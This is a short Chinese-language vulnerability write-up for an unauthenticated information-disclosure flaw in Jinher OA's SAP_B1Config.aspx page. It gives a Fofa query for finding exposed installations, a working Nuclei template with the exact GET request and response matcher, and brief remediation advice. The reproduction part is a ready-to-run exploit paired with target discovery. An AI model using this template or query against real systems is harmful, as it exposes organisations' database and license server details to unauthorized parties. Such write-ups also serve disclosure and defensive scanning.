# 金和OA sap-b1config-aspx 未授权

## 漏洞描述

金和OA sap-b1config-aspx 未授权，攻击者可通过此漏洞获取敏感信息。

## 漏洞复现

1. Fofa

app="金和网络-金和OA"



1. 界面如下



1. Nuclei

id: jinher-oa-c6-jhsoft-sapb1config-unauth

info:

name: jinher-oa-c6-jhsoft-sapb1config-unauth

author: jinher-oa-c6-jhsoft-sapb1config-unauth

severity: high

http:

- raw:

- |

GET /C6/JHsoft.CostEAI/SAP\_B1Config.aspx/?manage=1 HTTP/1.1

Host: {{Hostname}}

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10\_15\_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,\*/\*;q=0.8,application/signed-exchange;v=b3;q=0.7

matchers:

- type: dsl

dsl:

- status\_code==200 && contains\_all(body,"txtLicenseServer","txtDatabaseServer")

## 修复建议

1. 升级到安全版本

2、如非必要，禁止公网访问该系统。

3、设置白名单访问。